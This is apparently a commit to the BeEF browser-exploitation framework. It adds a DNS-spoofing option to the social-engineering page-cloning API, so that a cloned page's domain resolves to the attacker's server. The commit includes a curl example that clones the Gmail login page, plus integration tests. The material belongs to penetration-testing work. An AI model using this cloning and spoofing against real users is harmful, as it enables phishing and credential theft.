Implemented DNS spoofer in social engineering extension.
The /api/seng/clone_page endpoint now accepts a boolean "dns_spoof" key in the JSON request. This adds a DNS record pointing the cloned webpage to the BeEF server. Integration tests included.
This commit is contained in:
8
Rakefile
8
Rakefile
@@ -32,14 +32,6 @@ task :integration => ["install"] do
|
||||
Rake::Task['beef_stop'].invoke
|
||||
end
|
||||
|
||||
# TODO: Remove task before comitting
|
||||
desc "Run DNS integration tests"
|
||||
task :dns_rest do
|
||||
Rake::Task['beef_start'].invoke
|
||||
sh "cd test/integration; ruby -W0 ts_dns_rest.rb"
|
||||
Rake::Task['beef_stop'].invoke
|
||||
end
|
||||
|
||||
desc "Run integration unit tests"
|
||||
task :unit => ["install"] do
|
||||
sh "cd test/unit;ruby -W0 ts_unit.rb"
|
||||
|
||||
@@ -20,10 +20,15 @@ module BeEF
|
||||
'Expires' => '0'
|
||||
end
|
||||
|
||||
#Example: curl -H "Content-Type: application/json; charset=UTF-8"
|
||||
#-d '{"url":"https://accounts.google.com/ServiceLogin?service=mail&passive=true&rm=false&continue=
|
||||
#https://mail.google.com/mail/&ss=1&scc=1<mpl=default<mplcache=2", "mount":"/url"}'
|
||||
#-X POST http://127.0.0.1:3000/api/seng/clone_page?token=851a937305f8773ee82f5259e792288cdcb01cd7
|
||||
# Example: curl -H "Content-Type: application/json; charset=UTF-8" -d json_body
|
||||
# -X POST http://127.0.0.1:3000/api/seng/clone_page?token=851a937305f8773ee82f5259e792288cdcb01cd7
|
||||
#
|
||||
# Example json_body:
|
||||
# {
|
||||
# "url": "https://accounts.google.com/ServiceLogin?service=mail&continue=https://mail.google.com/mail/"
|
||||
# "mount": "/gmail",
|
||||
# "dns_spoof": true
|
||||
# }
|
||||
post '/clone_page' do
|
||||
request.body.rewind
|
||||
begin
|
||||
@@ -31,6 +36,7 @@ module BeEF
|
||||
uri = body["url"]
|
||||
mount = body["mount"]
|
||||
use_existing = body["use_existing"]
|
||||
dns_spoof = body["dns_spoof"]
|
||||
|
||||
if uri != nil && mount != nil
|
||||
if (uri =~ URI::regexp).nil? #invalid URI
|
||||
@@ -44,7 +50,8 @@ module BeEF
|
||||
end
|
||||
|
||||
web_cloner = BeEF::Extension::SocialEngineering::WebCloner.instance
|
||||
success = web_cloner.clone_page(uri,mount,use_existing)
|
||||
success = web_cloner.clone_page(uri, mount, use_existing, dns_spoof)
|
||||
|
||||
if success
|
||||
result = {
|
||||
"success" => true,
|
||||
@@ -118,4 +125,4 @@ module BeEF
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -7,9 +7,9 @@ module BeEF
|
||||
module Extension
|
||||
module SocialEngineering
|
||||
class WebCloner
|
||||
require 'socket'
|
||||
include Singleton
|
||||
|
||||
|
||||
def initialize
|
||||
@http_server = BeEF::Core::Server.instance
|
||||
@config = BeEF::Core::Configuration.instance
|
||||
@@ -17,7 +17,7 @@ module BeEF
|
||||
@beef_hook = "http://#{@config.get('beef.http.host')}:#{@config.get('beef.http.port')}#{@config.get('beef.http.hook_file')}"
|
||||
end
|
||||
|
||||
def clone_page(url, mount, use_existing)
|
||||
def clone_page(url, mount, use_existing, dns_spoof)
|
||||
print_info "Cloning page at URL #{url}"
|
||||
uri = URI(url)
|
||||
output = uri.host
|
||||
@@ -113,6 +113,18 @@ module BeEF
|
||||
@http_server.mount("#{mount}", interceptor.new)
|
||||
print_info "Mounting cloned page on URL [#{mount}]"
|
||||
@http_server.remap
|
||||
|
||||
# Add a DNS record spoofing the address of the cloned webpage as the BeEF server
|
||||
if dns_spoof
|
||||
dns = BeEF::Extension::Dns::Server.instance
|
||||
ip = Socket.ip_address_list.detect {|i| !(i.ipv4_loopback? || i.ipv6_loopback?)}
|
||||
domain = url.gsub(%r{^http://}, '')
|
||||
|
||||
id = dns.add_rule(domain, Resolv::DNS::Resource::IN::A) do |transaction|
|
||||
transaction.respond!(ip.ip_address)
|
||||
end
|
||||
end
|
||||
|
||||
success = true
|
||||
else
|
||||
print_error "Error cloning #{url}. Be sure that you don't have errors while retrieving the page with 'wget'."
|
||||
|
||||
@@ -20,4 +20,5 @@ RESTAPI_HOOKS = "http://" + ATTACK_DOMAIN + ":3000/api/hooks"
|
||||
RESTAPI_LOGS = "http://" + ATTACK_DOMAIN + ":3000/api/logs"
|
||||
RESTAPI_MODULES = "http://" + ATTACK_DOMAIN + ":3000/api/modules"
|
||||
RESTAPI_DNS = "http://" + ATTACK_DOMAIN + ":3000/api/dns"
|
||||
RESTAPI_SENG = "http://" + ATTACK_DOMAIN + ":3000/api/seng"
|
||||
RESTAPI_ADMIN = "http://" + ATTACK_DOMAIN + ":3000/api/admin"
|
||||
|
||||
91
test/integration/tc_social_engineering_rest.rb
Normal file
91
test/integration/tc_social_engineering_rest.rb
Normal file
@@ -0,0 +1,91 @@
|
||||
#
|
||||
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
require 'test/unit'
|
||||
require 'rest_client'
|
||||
require 'json'
|
||||
require '../common/test_constants'
|
||||
|
||||
# @todo RESTful API for the social engineering extension lacks some serious test coverage.
|
||||
class TC_SocialEngineeringRest < Test::Unit::TestCase
|
||||
|
||||
class << self
|
||||
|
||||
# Login to API before performing any tests
|
||||
def startup
|
||||
json = {:username => BEEF_USER, :password => BEEF_PASSWD}.to_json
|
||||
@@headers = {:content_type => :json, :accept => :json}
|
||||
|
||||
response = RestClient.post("#{RESTAPI_ADMIN}/login",
|
||||
json,
|
||||
@@headers)
|
||||
|
||||
result = JSON.parse(response.body)
|
||||
@@token = result['token']
|
||||
|
||||
$root_dir = '../../'
|
||||
$:.unshift($root_dir)
|
||||
|
||||
require 'core/loader'
|
||||
|
||||
BeEF::Core::Configuration.new(File.join($root_dir, 'config.yaml'))
|
||||
BeEF::Core::Configuration.instance.load_extensions_config
|
||||
|
||||
@@config = BeEF::Core::Configuration.instance
|
||||
end
|
||||
|
||||
def shutdown
|
||||
$root_dir = nil
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
# Tests DNS spoofing of cloned webpages
|
||||
def test_1_dns_spoof
|
||||
url = 'http://beefproject.com'
|
||||
mount = '/beefproject'
|
||||
dns_spoof = true
|
||||
|
||||
json = {:url => url, :mount => mount, :dns_spoof => dns_spoof}.to_json
|
||||
|
||||
response = RestClient.post("#{RESTAPI_SENG}/clone_page?token=#{@@token}",
|
||||
json,
|
||||
@@headers)
|
||||
|
||||
check_response(response)
|
||||
|
||||
ip = Socket.ip_address_list.detect {|i| !(i.ipv4_loopback? || i.ipv6_loopback?)}
|
||||
domain = url.gsub(%r{^http://}, '')
|
||||
|
||||
regex = %r{
|
||||
^#{domain}\.\t+
|
||||
\d+\t+
|
||||
IN\t+
|
||||
A\t+
|
||||
#{ip.ip_address}$
|
||||
}x
|
||||
|
||||
# Send DNS request to server to verify that a new rule was added
|
||||
dns_address = @@config.get('beef.extension.dns.address')
|
||||
dns_port = @@config.get('beef.extension.dns.port')
|
||||
|
||||
dig_output = `dig @#{dns_address} -p #{dns_port} -t A #{domain}`
|
||||
assert_match(regex, dig_output)
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
# Assertions for verifying a response from the RESTful API
|
||||
def check_response(response)
|
||||
assert_not_nil(response.body)
|
||||
assert_equal(200, response.code)
|
||||
|
||||
result = JSON.parse(response.body)
|
||||
|
||||
assert(result['success'])
|
||||
assert(result['mount'])
|
||||
end
|
||||
|
||||
end
|
||||
@@ -17,6 +17,7 @@ require './tc_debug_modules' # RESTful API tests (as well as debug modules)
|
||||
require './tc_login' # Basic log in and log out tests
|
||||
require './tc_jools' # Basic tests for jools
|
||||
require './tc_dns_rest' # Basic tests for DNS RESTful API interface
|
||||
require './tc_social_engineering_rest' # Basic tests for social engineering RESTful API interface
|
||||
|
||||
class TS_BeefIntegrationTests
|
||||
def self.suite
|
||||
@@ -27,6 +28,7 @@ class TS_BeefIntegrationTests
|
||||
suite << TC_DebugModules.suite
|
||||
suite << TC_Jools.suite
|
||||
suite << TC_DnsRest.suite
|
||||
suite << TC_SocialEngineeringRest.suite
|
||||
|
||||
return suite
|
||||
end
|
||||
|
||||
Reference in New Issue
Block a user